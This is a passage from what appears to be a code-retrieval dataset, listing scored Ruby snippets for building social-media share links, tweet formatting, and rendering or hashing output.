"text": "def formatted_url\n if url_include?(\"http://\") || url_include?(\"https://\")\n social_network.url\n else\n \"http://\" + social_network.url\n end\n end",
"title": ""
},
{
"docid": "d5797dd908bc71ff96f8de602a7519d8",
"score": "0.6425539",
"text": "def instagram_story_url\n self.url(w: 2160, h: 3840, fit: 'fill', bg: '000', q: 90, pad: 100)\n end",
"title": ""
},
{
"docid": "72b871c1b3f1f1bc95ff2ff77d2caf4e",
"score": "0.642134",
"text": "def add_twitter\n Socket2me.exec_js %Q{document.body.innerHTML += '<a class=\"twitter-timeline\" href=\"https://twitter.com/hashtag/vim\" data-widget-id=\"750697258291568640\">#vim Tweets</a>'}\n\n Socket2me.exec_js %Q{\n (function (){var s = document.createElement('script');\n s.textContent='!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?\"http\":\"https\";if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+\"://platform.twitter.com/widgets.js\";fjs.parentNode.insertBefore(js,fjs);}}(document,\"script\",\"twitter-wjs\");';\n document.body.appendChild(s); })();\n }.gsub(\"\\n\", '')\n end",
"title": ""
},
{
"docid": "f146f44395b11528da4197e95c494681",
"score": "0.63761014",
"text": "def linkedin_share_url(opts = {})\n page_url = opts.fetch(:url, request.original_url)\n message = opts.fetch(:message, '')\n\n page_url = CGI.escape(page_url)\n share_url = \"https://www.linkedin.com/shareArticle?mini=true&url=#{page_url}\"\n share_url += \"&title=#{CGI.escape(message)}\" if message.present?\n\n share_url\n end",
"title": ""
},
{
"docid": "ad41f760827435ba68300a0d03b6a60e",
"score": "0.63637984",
"text": "def publish_to_social(post)\n tweet_it(post)\n share_it(post)\n end",
"title": ""
},
{
"docid": "c27b36a58cd14abb1234e930906dd72e",
"score": "0.63473374",
"text": "def twitter_profile_url(handle = nil)\n handle = handle || twitter_handle\n BASE_URL + \"/#{handle}\"\n end",
"title": ""
},
{
"docid": "4ed0bd0100efde3a7bba34130ebaf331",
"score": "0.6346918",
"text": "def link_to_share_to_twitter(message, options={}, &block)\n options[:class] = \"twitter-link #{options[:class]}\"\n\n message = URI.encode(message)\n link = \"http://twitter.com/home?status=#{message}\"\n\n send(:link_to, link, options, &block)\n end",
"title": ""
},
{
"docid": "4949f0f6a3ff04f3d22cbc0543dcba0f",
"score": "0.6346866",
"text": "def tweet_url(message)\n\t\tshort_tweet = []\n\t\t# Go through each wprd in message...\n\t\tmessage.each do |word|\n\t\t\t# If the word is a url...\n\t\t\tif word[0..6] == \"http://\"\n\t\t\t\t# Shorten it and store the shortened word\n\t\t\t\tshort_url = shorten(word)\n\t\t\t\tshort_tweet << short_url\n\t\t\telse\n\t\t\t\t# Word isn't a url, so just store it\n\t\t\t\tshort_tweet << word\n\t\t\tend\n\t\tend\n\t\t# Tweet the new message with short url's\n\t\ttweet(short_tweet.join(\" \"))\n\tend",
"title": ""
},
{
"docid": "f6730a5fc296a50e521e2c006ef7ae4c",
"score": "0.63380694",
"text": "def twitter_post\n \n end",
"title": ""
},
{
"docid": "9a7656708b429f6ec2adc5dd9fa7b62a",
"score": "0.6322455",
"text": "def pin_share listing\n \"//www.pinterest.com/pin/create/button/?url=\" + get_url(listing) + \"&media=\" + get_photo(listing) + \n \"&description=Check out this pixi on Pixiboard! \" + listing.nice_title(false)\n end",
"title": ""
},
{
"docid": "247b2d7708e46ee90be8b2b8f1d2016d",
"score": "0.6302154",
"text": "def twitter_link\n @twitter_link ||= ENV['APPLICATION_CONFIG_twitter_link']\n end",
"title": ""
},
{
"docid": "2a810a71634ce45b4989344d128f5692",
"score": "0.63007617",
"text": "def twitter\n if self.vanity and not @twitter\n url= \"http://www.twitter.com/#{self.vanity}\"\n begin\n m= WWW::Mechanize.new.get(url)\n if m #and m.title.match(/#{self.name}/)\n @twitter= url \n end\n rescue\n @twitter= nil\n end\n end\n @twitter\n end",
"title": ""
},
{
"docid": "12ac3a45c625efc8179cfae4448a0cbb",
"score": "0.63005495",
"text": "def meta_share(title = nil, description = nil, image = nil)\n title = title || @item[:meta_title] || @config[:site][:meta_title]\n description = description || @item[:meta_description] || @config[:site][:meta_description]\n image = image || @item[:meta_image] || @config[:site][:meta_image]\n\n \"<meta property='og:locale' content='en_US' />\n <meta property='og:type' content='website' />\n <meta property='og:title' content='#{title}' />\n <meta property='og:description' content='#{description}' />\n <meta property='og:url' content='#{@config[:site][:base_url]}' />\n <meta property='og:site_name' content='#{@config[:site][:name]}' />\n <meta property='og:image' content='#{image}' />\n <meta name='twitter:card' content='summary_large_image' />\n <meta name='twitter:title' content='#{title}' />\n <meta name='twitter:description' content='#{description}' />\n <meta name='twitter:site' content='@voxxedbelgrade' />\n <meta name='twitter:image' content='#{image}' />\n <meta name='twitter:creator' content='@voxxedbelgrade' />\n <meta name='viewport' content='width=device-width; initial-scale = 1.0; maximum-scale=1.0; user-scalable=no' />\n\n\"\nend",
"title": ""
},
{
"docid": "b9e2d82e1539f712b38fc5b62ef444f4",
"score": "0.62628216",
"text": "def expand_links!(tweet)\n full_text = tweet[\"full_text\"]\n entities = tweet[\"entities\"]\n extended_entities = tweet[\"extended_entities\"]\n\n entities[\"urls\"].each do |url|\n full_text[url[\"url\"]] = url[\"expanded_url\"]\n end\n\n if extended_entities\n # One t.co URL can map to multiple media entities\n already_matched = []\n extended_entities[\"media\"].each do |media|\n unless already_matched.include?(media[\"url\"])\n full_text[media[\"url\"]] = media[\"media_url_https\"]\n end\n already_matched << media[\"url\"]\n end\n end\nend",
"title": ""
},
{
"docid": "78729b2bff7590d38e3a6f45ce63901a",
"score": "0.6261411",
"text": "def facebook_share_link(url, title)\n facebook_url = \"https://www.facebook.com/sharer.php?u=#{CGI::escape(url)}&t=#{CGI::escape(title)}\"\n return link_to('', facebook_url, :target => 'blank', :class => 'ts_icon_social ts_facebook')\n end",
"title": ""
},
{
"docid": "f1d5fea93aa69b74700062b1c20a9b43",
"score": "0.62485164",
"text": "def social_share_buttons\n return nil if return_nil_for_social_share? || @asocial\n element = element_by_action\n return nil if element.nil?\n t = element.try(:menu_title).nil? ? element.title : element.menu_title\n\n awesome_share_buttons(title_seo_structure(t),\n desc: html_escape_once(element.referencement_description),\n image: image_for_object(element),\n via: @setting.try(:twitter_username),\n popup: true)\n end",
"title": ""
},
{
"docid": "c7bf1e6f40d2ba8c48feefdf6171d6d6",
"score": "0.61723",
"text": "def og_url\n @url = meta_name \"twitter:url\" if !@url rescue nil\n @url = meta_property \"og:url\" if !@url rescue nil\n @id = Digest::MD5.hexdigest(@url) if @url\n end",
"title": ""
},
{
"docid": "bf0bbbf985596e06f1447b8474a5d05a",
"score": "0.6164899",
"text": "def handle_twitter(url)\n Bot.log.info('Entitle: handling as Twitter tweet')\n matches = url.match(@twitter_status_regex)\n user = matches[1]\n id = matches[2]\n\n new_url = \"https://publish.twitter.com/oembed?url=https://twitter.com/#{user}/status/#{id}\"\n response_json = RestClient.get(new_url, user_agent: @s[:user_agent]).body\n response = JSON.parse(response_json, symbolize_names: true)\n html = response[:html].gsub('</p>— ', '__DASH__')\n html = html.gsub('<br>', '__BR__')\n\n doc = Nokogiri::HTML(html)\n doc.encoding = 'utf-8'\n\n tweet = doc.at_css('.twitter-tweet').text.gsub(/ *\\n */, ' ').strip\n tweet = tweet.gsub('__BR__', \" #{'↵'.gray} \")\n tweet.gsub('__DASH__', ' — ')\n end",
"title": ""
},
{
"docid": "467579376fd8e6cb55835456e8455eb9",
"score": "0.6150629",
"text": "def tweetify(options = {}) \n # Applies linkify unless there's some restriction\n str = options[:only] ? self : self.linkify(options[:url] || {})\n\n # Iterates with the matched expressions\n str.gsub!(SA_REGEXES[:tweet]) do |match|\n is_hashtag = match =~ /#/\n \n unless restricted?(is_hashtag, options[:only])\n match = match.strip\n attrs = is_hashtag ? [\"search?q=%23#{match.gsub(/#/, '')}\", :hashtag] : [\"#{match.gsub(/@/, '')}\", :tt_handle]\n match = \" <a href=\\\"https://twitter.com/#{attrs[0]}\\\"#{apply_tag_attrs(options[attrs[1]])}>#{match}</a>\"\n end\n \n match\n end \n str\n end",
"title": ""
},
{
"docid": "72181fd905b2cc9ab242d560de3d15e9",
"score": "0.6134592",
"text": "def build_link(artist, social_network)\n if artist[social_network].include?('/')\n link = add_http(artist[social_network])\n else\n link = \"http://www.\" + social_network.to_s + \".com/#{artist[social_network]}\"\n end\n link_to image_tag(\"#{social_network}-4-48.png\"), link\n end",
"title": ""
},
{
"docid": "af117ccfff09515ba5c0362fed8ee577",
"score": "0.6118874",
"text": "def create_borwin_link\n # Generate the link code\n o = [('A'..'Z'),('a'..'z'),(0..9)].map{|i| i.to_a}.flatten\n first_char = ''\n case APP_CONFIG['app_country']\n when 'AR'\n first_char = 'A'\n when 'CO'\n first_char = 'C'\n when 'MX'\n first_char = 'M'\n end\n begin\n code = first_char + (0..3).map{ o[rand(o.length)] }.join\n end while Tweet.where(link_code: code).exists?\n\n # Now parse and create the data\n self.link_code = code\n\n # Get the link from the tweet\n matches = text.scan(/\\b(?:https?:\\/\\/|www\\.)\\S+\\b/)\n idx = 0\n matches.each do |link|\n if !matches[idx].match(/^http:\\/\\/s-t.co\\//)\n self.link_url = matches[idx]\n self.link_url = \"http://#{self.link_url}\" unless self.link_url =~ /http/\n end\n idx = idx + 1\n end\n\n # Finally replace the text link on the text\n # [^(s-t.co\\/P)] avoid THIS!!!\n self.text.sub!(/\\b((?:https?:\\/\\/(?!s-t)|www\\.(?!s-t)))\\S+\\b/, \"http://s-t.co/L#{self.link_code}\")\n end",
"title": ""
},
{
"docid": "f09ae177c2f37b1936d469c56d121050",
"score": "0.61121213",
"text": "def twitter_name\n #parse the twitter url to get the twitter_name\n if self.twitter_url.present?\n if self.twitter_url.include? \"twitter.com/\"\n if self.twitter_url.split('twitter.com/').last.include? \"@\"\n self.twitter_url.split('twitter.com/').last.split('@').last\n else\n self.twitter_url.split('twitter.com/').last\n end\n else\n if self.twitter_url.include? \"@\"\n self.twitter_url.split('@').last\n else\n self.twitter_url\n end\n end\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "75ed57366d86fd92deca954771683540",
"score": "0.6109852",
"text": "def link_social_url(auth)\n if auth\n if auth[:provider] == \"twitter\"\n self.twitter = auth[:info][:urls][:Twitter]\n end\n\n if auth[:provider] == \"facebook\"\n self.facebook = auth[:info][:urls][:Facebook]\n end\n\n self.save\n end\n end",
"title": ""
},
{
"docid": "297fdc4de6a3b445bda17bc7fcd22a19",
"score": "0.60878265",
"text": "def twitter_share(link)\n if (current_user.twitter_token)\n @consumer_key = TWITTER_CONFIG[\"consumer_key\"]\n @consumer_secret = TWITTER_CONFIG[\"consumer_secret\"]\n\n Twitter.configure do |config|\n config.consumer_key = @consumer_key\n config.consumer_secret = @consumer_secret\n config.oauth_token = current_user.twitter_token\n config.oauth_token_secret = current_user.twitter_secret_token\n end\n client = Twitter::Client.new(\n :oauth_token => current_user.twitter_token,\n :oauth_token_secret => current_user.twitter_secret_token\n )\n begin\n message = (@message.to_s << \" - \" << link)\n client.update(message)\n flash[:notice] = \"Post tweet successful\"\n rescue Exception => e\n flash[:notice] = \"Unable to send to Twitter: #{e.to_s}\"\n end\n\n else\n flash[:notice] = \"You must enable Twitter sharing\"\n redirect_to :controller => :users, :action => :account and return\n end\n end",
"title": ""
},
{
"docid": "9842ee6236a32204e273fd89e4446f38",
"score": "0.60861194",
"text": "def tweet(url)\n { :type => :tweet, :body => url }\n end",
"title": ""
},
{
"docid": "181818f1841599dd218fb7e5da6aa017",
"score": "0.60735",
"text": "def scrape_twitter(scrape_result)\n scrape_result.css(\".page-title .icon-twitter\").first.parent.attr(\"href\")\n end",
"title": ""
},
{
"docid": "83a9d99d0fb3041b34ea6e9cc77dc341",
"score": "0.6068032",
"text": "def full_permalink\n \"https://#{hostname}/#{user.login}/tracks/#{permalink}\"\n end",
"title": ""
},
{
"docid": "99ba93e911533842b21878d916e68e42",
"score": "0.6058655",
"text": "def my_tweet_button(tweet)\n tweet_button( \n\t\t\t:text => \"POIDH @#{tweet.culprit_screen_name}\\: \\\"\"+ tweet.culprit_msg + \"\\\"\", \n\t\t\t:via => 'poidhdotorg', \n\t\t\t:count => 'none', \n\t\t\t:url => 'http://poidh.org' + tweet_path(tweet),\n\t\t\t:related => tweet.culprit_screen_name\n\t\t)\n end",
"title": ""
},
{
"docid": "ac6e96a3513a5220967d255fc4f834ce",
"score": "0.6056047",
"text": "def twitter\n end",
"title": ""
},
{
"docid": "2c048d63ac6ee2c48f432879d2a8363d",
"score": "0.60271895",
"text": "def build_tweet item\n [\n item.title,\n item.description.match(/img src=\"(?<image>.*\\.(png|gif))\"/)[:image],\n item.link.insert(7,'m.'),\n \"#xkcd\"\n ].join(' ')\n end",
"title": ""
},
{
"docid": "00b6687c46babdc5e1ad27ae3492e51b",
"score": "0.6010977",
"text": "def link_to_twitter_connect(text=nil, options={})\n options = options.symbolize_keys.merge({})\n\n text ||= if true\n image_tag(\"icons/fb/fb-login-107x25.gif\", :id => \"RES_ID_fb_login_image\", :alt => \"Facebook Connect\", :title => \"Facebook Connect\")\n else\n image_tag(\"http://static.ak.fbcdn.net/rsrc.php/zA114/hash/7e3mp7ee.gif\", :id => \"RES_ID_fb_login_image\", :alt => \"Facebook Connect\", :title => \"Facebook Connect\")\n end\n \n url = url_modal = \"#\" \n link_to_function(text,\n nil, {:class => \"twitter_login_button\", :id => \"twitterConnect\",\n :href => url}) do |page|\n page << \"Luleka.Facebook.session('#{url_modal}', '#{form_authenticity_token}', #{options.to_json});\"\n end\n end",
"title": ""
},
{
"docid": "1ff92b122e12d1f7c552afc95d1bf645",
"score": "0.6003538",
"text": "def twitter_hashtag_search_link(hashtag)\n \"<a href='https://twitter.com/#!/search/%23#{hashtag}' rel='external'>##{hashtag}</a>\".html_safe\n end",
"title": ""
},
{
"docid": "1ff92b122e12d1f7c552afc95d1bf645",
"score": "0.6003538",
"text": "def twitter_hashtag_search_link(hashtag)\n \"<a href='https://twitter.com/#!/search/%23#{hashtag}' rel='external'>##{hashtag}</a>\".html_safe\n end",
"title": ""
},
{
"docid": "799f48c92d1129a2b4fa862e23114724",
"score": "0.6003386",
"text": "def handle_tweet(s)\n # tweetstream >= v2.0.0\n hashtags = s.hashtags.to_a.map { |o| o[\"text\"] }\n urls = s.urls.to_a.map { |o| o[\"expanded_url\"] }\n user_mentions = s.user_mentions.to_a.map { |o| o[\"screen_name\"] }\n\n puts \"-\"*80\n puts s[:text].green\n puts \"urls: #{urls.inspect}\".yellow\n puts \"user_mentions: #{user_mentions.inspect}\".yellow\n puts \"hashtags: #{hashtags.inspect}\".yellow\nend",
"title": ""
},
{
"docid": "a519d0ddf6a19f4abde0c29a9770e6ed",
"score": "0.59944654",
"text": "def link\n URI(\"https://www.youtube.com/watch?v=#{source}\")\n end",
"title": ""
},
{
"docid": "6f6c8b67411b988f83d097213433892b",
"score": "0.59866375",
"text": "def get_real_url\r\n case source\r\n\r\n when 'hulkshare'\r\n page = Nokogiri::HTML(open(url))\r\n links = page.css('a.hoverf').each do |link|\r\n if link['href'] =~ /tracker\\.hulkshare/\r\n self.absolute_url = link['href']\r\n end\r\n end\r\n\r\n when 'soundcloud'\r\n begin\r\n # init soundcloud\r\n client = Soundcloud.new(:client_id => Yetting.soundcloud_key)\r\n\r\n # find track id\r\n begin\r\n track_id = url.scan(/tracks(%.*F|\\/)([0-9]+)/)[0][1]\r\n rescue\r\n track_id = client.get('/resolve', :url => url).id\r\n end\r\n\r\n if track_id\r\n self.soundcloud_id = track_id\r\n\r\n # get track url\r\n logger.info \"Found track ID #{track_id}\"\r\n track = client.get('/tracks/' + track_id.to_s)\r\n curl_redirect = `curl -I \"#{track.stream_url}?client_id=#{Yetting.soundcloud_key}\"`\r\n logger.info \"Curl redirect headers\\n #{curl_redirect}\"\r\n final_url = curl_redirect.match(/Location: (.*)\\r/)[1]\r\n\r\n # set url\r\n self.absolute_url = final_url\r\n logger.info \"Got soundcloud url: #{self.absolute_url}\"\r\n else\r\n logger.error \"Could not get soundcloud track ID\"\r\n end\r\n rescue Exception => e\r\n # soundcloud error\r\n logger.error \"Soundcloud error\"\r\n logger.error e.message\r\n logger.error e.backtrace.join(\"\\n\")\r\n end\r\n\r\n when 'youtube'\r\n video_id = url.match(/youtube.com.*(?:\\/|v=)([^&$]+)/i)\r\n return unless video_id and video_id.length > 1\r\n video_id = video_id[1]\r\n self.youtube_id = video_id\r\n end\r\n\r\n # Return url\r\n absolute_url\r\n end",
"title": ""
},
{
"docid": "9456f4a4b24f14a45f396fcdefc7cd90",
"score": "0.5971848",
"text": "def shared_url\n end",
"title": ""
},
{
"docid": "82848c8c8d2b2d1e2d5d2041762c8f09",
"score": "0.59595364",
"text": "def fake_url\n return source.to_s + pub_date.to_s + headline.to_s\n end",
"title": ""
},
{
"docid": "a32eeaf4eae4352d64fa0e7c950e96c0",
"score": "0.5950287",
"text": "def follow_url \n # First, check out the feed\n if fetch\n self.title = (@fetched.title || \"\").truncate(255)\n self.description = (@fetched.description || \"\").truncate(255)\n self.url = @fetched.feed_url unless @fetched.feed_url.blank?\n self.site = Site.by_link (@fetched.url || url)\n end\n end",
"title": ""
},
{
"docid": "1aee3252d98321fa07ad4282b19fa5e1",
"score": "0.5946509",
"text": "def post_url\n info = self.post_id.split('_')\n \"http://facebook.com/#{info[0]}/posts/#{info[1]}\"\n end",
"title": ""
},
{
"docid": "6d30aba2eb5344b2174cfd69ab33ad0b",
"score": "0.59436476",
"text": "def api_url(path)\n \"http://api.twitter.com/1/\" + path\n end",
"title": ""
},
{
"docid": "585acbfcd1692565f1152e6b99772dd0",
"score": "0.59433293",
"text": "def share_url\n share = Share.find_by(destination_path: self.path)\n Rails.application.routes.url_helpers.share_url share\n end",
"title": ""
},
{
"docid": "d6cfcdc0d06815e20cc61842598e3b35",
"score": "0.5940541",
"text": "def set_public_twitter_card_meta\n twitter = {\n :card => 'summary',\n :site => '@Sat_Collective',\n :title => \"TELEPHONE\",\n :description => \"An International Arts Experience Presented by Satellite Collective. 315 artists in 43 countries participated.\",\n :image => @social_image_url\n } \n set_meta_tags :twitter => twitter\n end",
"title": ""
},
{
"docid": "917bcf129db5838112e22d4c5bd070fc",
"score": "0.5929676",
"text": "def build_tweet(options={})\n\ttweet = {}\n\t\n\ttweet[:handle] = \"http://www.twitter.com/#{options[:handle]}\" if options[:handle]\n\t\n\t\n\ttweet[:url] = \"http://www.twitter.com/#{options[:handle]}/#{options[:id]}\" if options[:id]\n\t\n\t#returns the tweet\n\ttweet\nend",
"title": ""
}
] |
693318cc2aac8935aedbf77a12d909b9
|
Renders data to output hash.
|
[
{
"docid": "ff9d90822b25ae256ad110b5a527e8f4",
"score": "0.0",
"text": "def output\n self.check!\n data = { \"name\" => @name.to_s }\n \n if not @type.nil?\n data[\"type\"] = __object_to_type.to_s\n end\n \n return data\n end",
"title": ""
}
] |
[
{
"docid": "2fa8aaaf4ba3e12ae4f574a911c10d13",
"score": "0.6856638",
"text": "def render(data)\n render_lines(data).join(\"\\n\") + \"\\n\"\n end",
"title": ""
},
{
"docid": "00695b0edc282c38d0864c23df87fc0a",
"score": "0.68199265",
"text": "def format_output(hash)\n raise \"Muse be implemented by renderer\"\n end",
"title": ""
},
{
"docid": "51618c07e56374f951c0c16b1688c2b4",
"score": "0.6808093",
"text": "def render\n puts @my_hash\n end",
"title": ""
},
{
"docid": "7457ddec16f90b7443c897f08d4dd01c",
"score": "0.6652531",
"text": "def render(data, output_format)\n return to_text(data) if output_format == :text\n return to_hash_array(data) if output_format == :hash_array\n end",
"title": ""
},
{
"docid": "da6c032aa013ba5185a15f938d443161",
"score": "0.65425223",
"text": "def render_hash\n Motion.serializer.weak_digest(self)\n end",
"title": ""
},
{
"docid": "992320b23d6bc8e83dd7855e05a8750e",
"score": "0.6497825",
"text": "def render_text(data_hash,template)\n namespace = OpenStruct.new(data_hash);\n return ERB.new(template,0,'>').result(namespace.instance_eval {binding})\n end",
"title": ""
},
{
"docid": "6205e035e19e226757db5bf4296463b6",
"score": "0.6425008",
"text": "def render()\n output = ''\n each do |key, value|\n output << %( #{key}=\"#{escape_quote(value)}\")\n end\n return output\n end",
"title": ""
},
{
"docid": "744218bb417e37de4f81765ed8e5ea55",
"score": "0.6331812",
"text": "def render\n render_hash.to_json\n end",
"title": ""
},
{
"docid": "9530063721ab050d8014fd6cb81144b6",
"score": "0.6201389",
"text": "def render\n buckets = @data.dataset_length\n # columns = @data.length\n\n # image size\n # x = columns*@field_size\n # y = buckets*@field_size\n\n # start drawing the damn thing\n ascii_arr = [] \n 0.upto(buckets-1).each { |i| ascii_arr[i] = \"\" }\n\n @data.each do |point|\n i = 0\n point.reverse.each do |part|\n part = (part*10).to_i \n\n # Fix to prevent possible overflow.. should never happen, but we\n # are careful\n if part > 9\n part = 9\n end\n\n ascii_arr[i] << @symbols[@used_symbols][part]\n i = i+1\n end\n end\n\n ascii_arr.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "7b80a5cd34b3ff10c045a4c7d8274bff",
"score": "0.61839116",
"text": "def output_hash; end",
"title": ""
},
{
"docid": "7b80a5cd34b3ff10c045a4c7d8274bff",
"score": "0.61839116",
"text": "def output_hash; end",
"title": ""
},
{
"docid": "e4c71633cc24f55a1655ed79e908f17c",
"score": "0.6180636",
"text": "def render_auth_hash\n \trender_as_yaml auth_hash\n end",
"title": ""
},
{
"docid": "ecc8b83df0014480ce0469d847c83a53",
"score": "0.61309177",
"text": "def render_erb( bind = nil )\n raise \"No data to render!\" if (! data)\n @_erbout = \"\"\n self.rendered = ERB.new(data, nil, nil, '@_erbout').result( bind )\n end",
"title": ""
},
{
"docid": "e86b58238db0c7b4e649c076e4098465",
"score": "0.6094725",
"text": "def render\n return generate_output(@values)\n end",
"title": ""
},
{
"docid": "c9a731c68482d25f3bd0599006087aef",
"score": "0.609246",
"text": "def render(*data)\n table = TTY::Table.new header: processed_header\n data.each { |d| table << process_row(d) }\n table.render(renderer, **config, &block) || ''\n end",
"title": ""
},
{
"docid": "ff78756c0a9688714898e3f2a3874d24",
"score": "0.60762477",
"text": "def render\n @render ||= if data.is_a?(Proc)\n data.call\n else\n data\n end\n end",
"title": ""
},
{
"docid": "1ea30f4f48e505b88c8af349a2904087",
"score": "0.6064883",
"text": "def render\n parse!\n format(format_string, to_h)\n end",
"title": ""
},
{
"docid": "36d4e80ece9288fc476eccd63dd1f184",
"score": "0.6054805",
"text": "def render(out, data)\n @root.render(out, data, true)\n end",
"title": ""
},
{
"docid": "6d2ae41eac4b7d2a821cbea38119274a",
"score": "0.605258",
"text": "def render(data={}, &block)\n @template.render(data, &block)\n end",
"title": ""
},
{
"docid": "b8914df59175be33373e5a1e7b685381",
"score": "0.6042441",
"text": "def render\n r = renderer\n render! r\n\n outgoing r.data\n end",
"title": ""
},
{
"docid": "28fb13de144cfc1b7126a12458a6cfb5",
"score": "0.6023919",
"text": "def __result(data = nil)\n data ||= EMPTY_HASH\n @_data = data\n @_template.render(binding)\n end",
"title": ""
},
{
"docid": "7945628232bddde83c15acf99b9170fb",
"score": "0.59966063",
"text": "def render_data(params)\n value = data.is_a?(Array) ? data.flatten.first : data\n params[\"chd\"] = \"t:#{value.to_f}\"\n end",
"title": ""
},
{
"docid": "392d1582c0d35bed07cc9a98625cfe45",
"score": "0.5985117",
"text": "def render\n prepare_data\n render_data\n post_process_data\n\n return @data\n end",
"title": ""
},
{
"docid": "4aaa28b173e8f7a1aca48a0ee6a618aa",
"score": "0.5984822",
"text": "def render\n @key_length, results = get_key_length, []\n\n @bullet_data.each do |key, item|\n results.concat(render_bullet(key, item))\n end\n\n @bullet_data = []\n results\n end",
"title": ""
},
{
"docid": "242c785e2087643568830814a09b9313",
"score": "0.5981181",
"text": "def render\n @key_length, results = get_key_length, []\n\n @bullet_data.each do |key, item|\n results.concat(render_bullet(key, item))\n end\n\n @bullet_data = []\n results\n end",
"title": ""
},
{
"docid": "255988d088e6763644b33c4b1031a445",
"score": "0.5960924",
"text": "def render dc ; end",
"title": ""
},
{
"docid": "d5572c3fbb9fd2e05754e9007957ca87",
"score": "0.59249526",
"text": "def hash_block(data)\n \n end",
"title": ""
},
{
"docid": "9b12dc079c560aa86486c8b0352214e6",
"score": "0.59072125",
"text": "def hash\n generate_data.hash\n end",
"title": ""
},
{
"docid": "3026498291e5045b96df48366ac5d754",
"score": "0.590312",
"text": "def render\n [ header, StringHelper.underline(header), *data ].join(\"\\n\")\n end",
"title": ""
},
{
"docid": "27a979a095ad4d2ea547e0f70ee523b8",
"score": "0.5880837",
"text": "def hash(data)\n return @cryptoHlpr.hash(data);\n end",
"title": ""
},
{
"docid": "204058a5ddb76a9a7507862d340f4d6a",
"score": "0.5872331",
"text": "def render_hash(params)\n\tvalue = \"\"\n\tif params['tag'] then \n\t\tvalue += \"<#{params['tag']}{attributes}>\"\n\n\t\tattributes = \"\"\n\t\tif params['attributes'].is_a? Hash then\n\t\t\tparams['attributes'].keys.each do |k|\n\t\t\t\tv = params['attributes'][k]\n\t\t\t\tif v.is_a?(String) then \n\t\t\t\t\tattributes += \" #{k}=\\\"#{v}\\\"\"\n\t\t\t\telsif v == true then\n\t\t\t\t\tattributes += \" #{k}\";\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tvalue.sub!(/{attributes}/, attributes)\n\t\n\tend\n\n\tif params['content'] then value += \"#{params['content']}\" end\n\n\tif (params['tag'] != nil) and (params['content'] != nil) then value += \"</#{params['tag']}>\" end\n\n\tif params['newline'] then value += \"\\n\" end\n\n\tvalue\nend",
"title": ""
},
{
"docid": "c1f5de0d4f9d46b5cde05642289a5627",
"score": "0.5865888",
"text": "def render\n out = HighLine.new\n out.wrap_at = 78\n out.say <<-RENDER\n<%=color(\"#{@name}\", :bold)%>\n<%='-'*#{@name.length}%>\n#{@text}\nRENDER\n end",
"title": ""
},
{
"docid": "02767d5c7d6ee0199134c946cd33c616",
"score": "0.5863385",
"text": "def output_hash(name, data, undoc = nil)\n @total += data if data.is_a?(Integer) && undoc\n @undocumented += undoc if undoc.is_a?(Integer)\n percent = data.to_i.zero? ? '100' : ((data.to_i - undoc.to_i) / data.to_f) * 100\n { name.tr(' ', '_').downcase => { 'name' => name,\n 'items' => data.to_i,\n 'undocumented' => undoc.to_i,\n 'percentage' => percent } }\n end",
"title": ""
},
{
"docid": "6dc9eba2c1f81e27f45b4b870be78e17",
"score": "0.58118844",
"text": "def render_data\n begin\n @data = @data.force_encoding('utf-8') if @data.respond_to? :force_encoding\n @data = GitHub::Markup.render(@file.filename, @data)\n if @data.nil?\n raise \"There was an error converting #{@file.name} to HTML.\"\n end\n rescue Object => e\n @data = %{<p class=\"gimli-error\">#{e.message}</p>}\n end\n end",
"title": ""
},
{
"docid": "6fa25b4f00e6a6bb426b3643f5d98f44",
"score": "0.5811592",
"text": "def hash(data)\n @cipher.update Digest::SHA2.digest(data)\n end",
"title": ""
},
{
"docid": "e15e64ba9a89738f367fd59787b194cb",
"score": "0.5809513",
"text": "def render\n cleft = \"#{@lindex+1},#{@llen}\"\n cright = \"#{@rindex+1},#{@rlen}\"\n\n if @lmeta != @rmeta && @lmeta && @rmeta\n cleft << \" \" << @lmeta\n cright << \" \" << @rmeta\n else\n info = @lmeta || @rmeta\n end\n\n [@format.context(cleft, cright, info), *@lines]\n end",
"title": ""
},
{
"docid": "d3b720c0b7af64d4bf666435ff7bb4f3",
"score": "0.5768705",
"text": "def hash_block\n hash_string = [index,timestamp,data,prev_hash].join\n sha = Digest::SHA256.new\n sha.update(hash_string)\n sha.hexdigest\n end",
"title": ""
},
{
"docid": "d54a3572d37b5ec00acf8751667e50f7",
"score": "0.5748012",
"text": "def hash\n @data.hash\n end",
"title": ""
},
{
"docid": "d54a3572d37b5ec00acf8751667e50f7",
"score": "0.5748012",
"text": "def hash\n @data.hash\n end",
"title": ""
},
{
"docid": "6c9dd45131108ba4b43d02da7d9d69c2",
"score": "0.5735617",
"text": "def render_color(data)\n data.gsub!($comp_tab) do |s|\n $color_table[s]\n end\n return data\nend",
"title": ""
},
{
"docid": "f228d27777c14e9bc6843b4b8d2827bb",
"score": "0.5734269",
"text": "def output(data); end",
"title": ""
},
{
"docid": "e5a3cb773190b799a8e86b28aa2a0218",
"score": "0.5723778",
"text": "def render(data)\n ERB.new(data, trim_mode: '-').result(binding)\n end",
"title": ""
},
{
"docid": "822d601a990c99e3c0f27bb709b6409a",
"score": "0.5718158",
"text": "def render(m); end",
"title": ""
},
{
"docid": "6bd26d73d51c7c12aa9049e5febfaa21",
"score": "0.5700834",
"text": "def draw_data(data)\r\n contents.clear\r\n draw_screenshot(data['screenshot'])\r\n draw_gold(data['gamepar'].gold) if Wora_NSS::DRAW_GOLD\r\n draw_playtime(data['total_sec']) if Wora_NSS::DRAW_PLAYTIME\r\n draw_location(data['map_name']) if Wora_NSS::DRAW_LOCATION\r\n draw_actor_data(data['gamepar'].members)\r\n end",
"title": ""
},
{
"docid": "d1f341f901b5a80d405f3293e9c74443",
"score": "0.5680523",
"text": "def output_data(info)\n puts \"\\e[0;32m#{info}\\e[0m\"\n end",
"title": ""
},
{
"docid": "d1f341f901b5a80d405f3293e9c74443",
"score": "0.5680523",
"text": "def output_data(info)\n puts \"\\e[0;32m#{info}\\e[0m\"\n end",
"title": ""
},
{
"docid": "86261d1c8308b74dc92fb0728596c3d8",
"score": "0.5679095",
"text": "def hash_output(t)\n\t\t\tif t.is_a? Symbol\n\t\t\t\t@@symbolcounter++\n\t\t\t\t\"symbol-#{@@symbolcounter.to_s(16)}\" # Never clean.\n\t\t\telse\n\t\t\t\tC.hash_file t\n\t\t\tend\n\t\tend",
"title": ""
},
{
